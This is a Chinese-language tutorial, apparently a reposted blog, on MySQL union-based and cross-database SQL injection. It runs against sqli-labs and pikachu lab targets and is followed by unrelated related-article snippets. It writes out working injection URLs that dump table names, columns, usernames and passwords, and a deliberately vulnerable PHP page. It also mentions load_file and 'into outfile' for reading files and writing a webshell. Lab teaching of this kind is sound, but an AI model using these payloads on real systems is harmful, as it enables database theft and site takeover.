Mysql注入

news2024/12/27 12:20:27

💪💪mysql注入

  • 前言
  • 1.mysql之union注入
      • 1.1.判断是否有注入:
      • 1.2.信息收集
      • 1.3.进行注入
      • 1.4.完整注入实列
  • 2. mysql 跨库注入:
      • 2.1第一步就是找到数据库
      • 2.2第二步就是注入
  • 3.自己写union注入
  • 4.其他注入操作


前言

💎💎我们都知道数据库的种类大约有200多种,各种数据库不经相同,所以不同的数据库漏洞也不相同,这里我分数据库讲解sql注入,这里我先讲mysql数据库,以后会出其他数据库的注入,整体讲解思路如下:

在这里插入图片描述

1.mysql之union注入

1.1.判断是否有注入:

⚠️⚠️我们平时判断注入:and 1=1 , and 1=2;那为啥这种语句能够判断注入了,先看如下代码:

$id = $_GET['id'];
$db = new PDO('mysql:host=localhost;dbname=test','root','root');
$sql = "select * from user where id = $id";
$db->query($sql);

⚠️⚠️你不用搞懂如上代码,你只需要知道,存在注入,就是我们写入的sql语句能够被执行,不存在注入,就是我们写入的sql语句不能够被执行,

  1. 如果我写在网站后面输入?id=1,sql语句执行如下:select * from user where id = 1;我们知道and运算符,必须两边为真才为真,假设我们输入?id=1 and 1=1,sql语句执行如下:
  2. select * from user where id = 1 and 1= 1;,这条语句会被执行,并且结果为真,页面会出现变化,如果我们输入?id=1 and 1=2,sql语句执行如下:
  3. select * from user where id = 1 and 1= 2;这条语句会被执行,并且结果为假,页面不会出现变化 存在注入说明我输入的语句会被执行,如果不存在注入,不管sql语句是否为真,都不会执行

1.2.信息收集

  • 数据库版本:select version();请添加图片描述

  • 数据库用户:select user();

  • 数据库名:select database():当前数据库 , show databases ;所有数据库

  • 操作系统:select @@version_compile_os;

1.3.进行注入

💎💎 进行注入的顺序为 数据库 => 表 => 列 => 类容,我接下来以sqlabs第一关来演示:

1.4.完整注入实列

  1. 首先第一步还是看题:
    请添加图片描述
  2. 看到我们要干什么了,我们就可以进行注入探测了
    请添加图片描述

💪💪 以上是注入判断过程

  1. 存在注入后我们查看原sql语句所涉及的表有多收列,,知道原表有多少列后,我们方便进行union联合注入,原因如下:

💪💪union运算符
条件:
a.两边选择的列数必须相同,否则会报错
b.union剔除了重复项,union all不会剔除重复项
c.UNION结果集中的列名总是等于UNUIN中第一个SELECT语句中的列名

请添加图片描述
请添加图片描述
4. 由上面两张图片,我们可以知道,原表有三列,所以我们进行union注入的时候,要select 1,2,3,然后我们查看输出点,只有知道了输出点,我们才可以知道,在什么地方写上我们的注入语句
请添加图片描述
5. 由于输出了2,3所以select 1,2,3中,我们要把2,3替换掉我们的sql语句
请添加图片描述
请添加图片描述

💪💪以上是信息搜集,我们可以知道当前数据库为security,所以我门可以获取security数据库的信息,获取以上信息,我们还必须知道如下知识点:

⚠️⚠️ mysql表
5.0版本以上有的表:
@@version_compile_os 操作系统版本
information_schema 自带数据库
information_schema.schemata 数据库
schema_name
information_schema.tables 数据表
table_schema
table_name
information_schema.columns 数据列
column_name
table_name
table_schema

  1. 获取表名

http://192.168.87.130/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述

  1. 获取列名

ttp://192.168.87.130/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ 获取列名要带上数据库,不同的数据库可能有相同的表

在这里插入图片描述

  1. 获取数据

http://192.168.87.130/sql/Less-1/?id=-1' union select 1,username,password from users where database()='security' --+,还可以使用limit获取其他数据
http://192.168.87.130/sql/Less-1/?id=-1' union select 1,username,password from users where database()='security' limit 1,1--+:前面的1是获取第几行的数据,后面的1是获取几个数据

在这里插入图片描述

以上是获取信息的步骤,获取信息都要带上数据库名,这是重点,一定要记住

2. mysql 跨库注入:

假设在你的服务器上面有多个网站,每个网站都有数据库,如果你的某个网站存在sql注入,刚好sql注入用户权限较高,这样你就可以查询其他网站数据库信息,在这里我使用sqliablpikachu

2.1第一步就是找到数据库

一般来说,网站名字和数据库名字都是有联系的,比如说我们要找pikachu网站,就去找数据库为pikachu的数据库

重点:如下查找数据库的时候,不要通过information_schema.tablesinformation_schema.columns表去找,不然你会发现查找的数据库都是information_schema,不是以上两个表没有table_schema这个选项,而是因为数据库非常多,前面都是information_schema,后面才有其他的表,通过information_schamata表查找才是最好的

在这里插入图片描述

  1. 选择第二条语句找数据库
  • 1.http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(table_schema),3 from information_schema.tables --+
  • 2.http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+
    在这里插入图片描述

2.2第二步就是注入

  1. 找到数据库后找表信息
  • http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.columns where table_schema='pikachu' --+
    请添加图片描述
  1. 找表信息后找列名
  • http://192.168.87.130/sql/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='pikachu' and table_name='users'--+
    在这里插入图片描述
  1. 找信息

http://192.168.87.130/sql/Less-2/?id=-1 union select 1,username,password from pikachu.users --+这条语句的结果如下:但是http://192.168.87.130/sql/Less-2/?id=-1 union select 1,username,password from users where database()='pikachu'这条语句却得不到如下的结果,这是因为当前database()指定的是当前数据库
在这里插入图片描述

3.自己写union注入

先创建数据库

create database loophole;
use loophole;
create table sql_test(
    id int auto_increment,
    primary key (id),
    username char(10),
    address char(20)
);
insert into sql_test values (1,'admin1','hubei'),(2,'mozhe','beijin'),(3,'admin','hubei'),(4,'yk','ensi');
<?php
echo "<h1>UNION注入</h1>";
$con = mysqli_connect("localhost","root","901026yk","loophole");
if(mysqli_connect_error())
{
    echo "连接错误" . mysqli_connect_error();
}

$id = $_GET['id'] ?? 1;

$sql = <<<SQL
select * from sql_test where id = $id;
SQL;

$result = mysqli_query($con,$sql);
$result = mysqli_query($con,$sql);
 
$row = mysqli_fetch_all($result);
 
echo $row[0][1] . $row[0][2];

按照如上操作,你就自己写了一个漏洞了,是不是很轻松了

4.其他注入操作

  1. 文件读
  • load_file() :读取敏感信息 读一些默认路径文件,获取路径获取指定路径文件,路径获取方法如下:
  1. 报错显示,
    请添加图片描述
  1. 遗留文件
    在这里插入图片描述
  1. 漏洞报错
  1. 平台配置文件
  1. 爆破
  1. 文件写

into outfile :写入后门,但是当MySQL服务器运行时带有——secure-file-priv选项时,它不能执行此语句。secure-file-priv概念

magic_quotes_gpc,绕过magic_quotes_gpc对路径进行编码magic_quotes_gpc这个开关和addslashes()一样
sql注入过滤函数:
is_int()
数据库用户:高权限用户可以写入,结合文件读写,可以直接写入webshell,这样直接得到网站控制权
网站路径:和数据库用户结合,得不到数据库用户最高权限不能写入,不知道路径不能webshell写到哪

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2181.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JVM笔记:垃圾回收及垃圾回收算法

垃圾是指在运行程序中没有任何指针指向的对象&#xff0c;这个对象就是需要被回收的垃圾。如果不及时对内存中的垃圾进行清理&#xff0c;那么&#xff0c;这些垃圾对象所占的内存空间会一直保留到应用程序结束&#xff0c;被保留的空间无法被其他对象使用。甚至可能导致内存溢…

【Vue项目回顾】网络模块的封装

选择什么网络模块 选择一: 传统的Ajax是基于XMLHttpRequest(XHR) 为什么不用它呢? 非常好解释, 配置和调用方式等非常混乱.编码起来看起来就非常蛋疼.所以真实开发中很少直接使用, 而是使用jQuery-Ajax 选择二: 在前面的学习中, 我们经常会使用jQuery-Ajax 相对于传统的A…

【PyTorch深度学习项目实战100例】—— 基于Pytorch的语音情感识别系统 | 第71例

前言 大家好,我是阿光。 本专栏整理了《PyTorch深度学习项目实战100例》,内包含了各种不同的深度学习项目,包含项目原理以及源码,每一个项目实例都附带有完整的代码+数据集。 正在更新中~ ✨ 🚨 我的项目环境: 平台:Windows10语言环境:python3.7编译器:PyCharmPy…

C#和Python使用C++编译的dll

C代码如下: extern "C" __declspec(dllexport) int __stdcall add(int a, int b) {return a b; } 因为是显示链接&#xff0c;所以只需要获得生成的dll即可 因为C#无法直接调用C的dll&#xff0c;所以我们使用了extern"C" 使用vs自带的工具x86_x64 Cross…

Vue中KeepAlive 原理与源码分析

概念 keep-alive是Vue的一个内置实例&#xff0c;用于缓存组件。当keep-alive包裹动态组件时&#xff0c;会缓存不活动的组件实例&#xff0c;而不是摧毁它们。keep-alive 是一个抽象组件&#xff1a;它自身不会渲染一个 DOM 元素&#xff0c;也不会出现在父组件链之中。如需要…

网课查题API接口-搜题api

网课查题API接口-搜题api 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 题库&#xff1a;题库后台&#xff08;点击跳转&#x…

小学生python游戏开发pygame--设置内容整理

游戏开发&#xff0c;相关设置内容单独放在一个文件中 如长宽&#xff0c;大小&#xff0c;颜色等起名shezhi.py&#xff0c;如下&#xff1a; # _*_ coding: UTF-8 _*_ # 开发团队&#xff1a; 信息化未来 # 开发人员&#xff1a; Administrator # 开发时间&#xff1a;2022…

微信小程序中如何实现省市区街道四级地址级联选择

大家好&#xff0c;我是雄雄。 前言 微信小程序中支持省市区地址级联吗&#xff1f;微信小程序中的地址级联最多支持到几级&#xff1f; 今天&#xff0c;我们就来看看&#xff0c;微信小程序中的地址级联的使用&#xff0c;以及一些坑…希望大家看完之后能避免踩坑啊。 省市…

JS(受人以鱼 不如受人以渔)第十七课

比你优秀的人都比你努力&#xff0c;你有什么理由不去努力。基础来自己的累秒累天累月的积累 没有一个人是从天而降的天才&#xff0c;也没有哪个人想做一个一生贫庸的人。今天我想说 受人以鱼 不如受人以渔 推荐几个官网可以自己主动去学习 JavaScript中文网-JavaScript教程…

虚拟物品(游戏)交易平台的设计与实现(Java+SSM+MySQL)

目 录 摘 要 I Abstract II 第1章 绪论 1 1.1选题背景及意义 1 1.2研究现状 1 1.3研究主要内容 2 第2章 相关技术介绍 4 1.1 SSM的技术原理 4 1.1.1 SSM语言及其特点 4 1.1.2 Java及Java Servlets概述 6 1.1.3 JavaBean简介 6 1.2 服务器配置 7 1.2.1 Tomcat安装及配置 7 1.2.2…

工业控制系统所面临的安全威胁

年新增漏洞严重程度分析 因本文收集处理的公开漏洞基本上都被 CVE 所收录&#xff0c; 所以本文在分析这些漏洞的严重 性时&#xff0c;将主要根据 CVE 的 CVSS 评估值①来判断&#xff0c;并划分为高、中、低三种情况。 根据图 2.9 的统计分析 &#xff0c;2013 年的新增漏洞…

MySQL索引优化

索引优化 EXPLAIN查询分析 参考另一篇&#xff0c;通过explain我们可以确定查询语句的访问类型&#xff0c;用到的索引&#xff0c;扫描行数以及extra信息。 回表查询与覆盖索引 InnoDB索引有聚簇索引和辅助索引。聚簇索引的叶子节点存储行记录&#xff0c;InnoDB必须要有&…

sql查询面试题复习

基础 查所有的数据 select * from user_profile;查询某几列 select device_id,gender,age,university from user_profile;取出学校的去重数据。 select distinct university from user_profile; #distinct 关键字查看前2个用户明细设备ID数据 select device_id from user_p…

反射、枚举和lambda表达式

文章目录一、反射反射的相关类获得Class对象的三种方法反射的基本使用反射优点和缺点二、枚举背景及定义枚举的使用为什么Enum源码中找不到values()方法&#xff1f;枚举与反射总结三、Lambda表达式函数式接口Lambda表达式的基本使用lambda在集合中的应用总结一、反射 Java的反…

SQL(及存储过程)跑得太慢怎么办?

SQL作为目前最常用的数据处理语言&#xff0c;广泛应用于查询、跑批等场景。当数据量较大时&#xff0c;使用SQL&#xff08;以及存储过程&#xff09;经常会发生跑得很慢的情况&#xff0c;这就要去优化SQL。优化SQL有一些特定的套路&#xff0c;通常先要查看执行计划来定位SQ…

性能优化:MySQL使用优化(1)

参考资料&#xff1a; 《explain | 索引优化的这把绝世好剑&#xff0c;你真的会用吗&#xff1f;》 《一张图彻底搞懂MySQL的 explain》 《MySQL 性能优化神器 Explain 使用分析》 《MySQL索引应用篇&#xff1a;建立索引的正确姿势与使用索引的最佳指南&#xff01;》 《…

【Node.js】npm与包【万字教学~超超超详细】

✍️ 作者简介: 前端新手学习中。 &#x1f482; 作者主页: 作者主页查看更多前端教学 &#x1f393; 专栏分享&#xff1a;css重难点教学 Node.js教学 从头开始学习 目录 包 什么是包 包的来源 为什么需要包 从哪里下载 如何下载包 npm初体验 格式化时间的传统做法 实现…

Win11系统C++将ONNX转换为engineer文件,TensorRT加速推理

准确工作&#xff0c;安装配置好CUDA,cudnn&#xff0c;vs2019&#xff0c;TensorRT 可以参考我博客&#xff08;下面博客有CUDA11.2,CUDNN11.2&#xff0c;vs2019&#xff0c;TensorRT配置方法&#xff09; (70条消息) WIN11CUAD11.2vs2019tensorTR8.6Yolov3/4/5模型加速_Ve…

【JavaDS】HashMap与HashSet的底层原理

✨博客主页: 心荣~ ✨系列专栏:【Java实现数据结构】 ✨一句短话: 难在坚持,贵在坚持,成在坚持! 文章目录一. HashMap底层原理1. HashMap的属性2. HashMap的构造方法3. 给HashMap分配内存的时机4. HashMap中的put5. HashMap中的哈希函数6. HashMap的扩容机制二. HashSet的底层原…

【资损】业务产品分析资损防控规范

&#x1f4eb;作者简介&#xff1a;小明java问道之路&#xff0c;专注于研究 Java/ Liunx内核/ C及汇编/计算机底层原理/源码&#xff0c;就职于大型金融公司后端高级工程师&#xff0c;擅长交易领域的高安全/可用/并发/性能的架构设计与演进、系统优化与稳定性建设。 &#x1…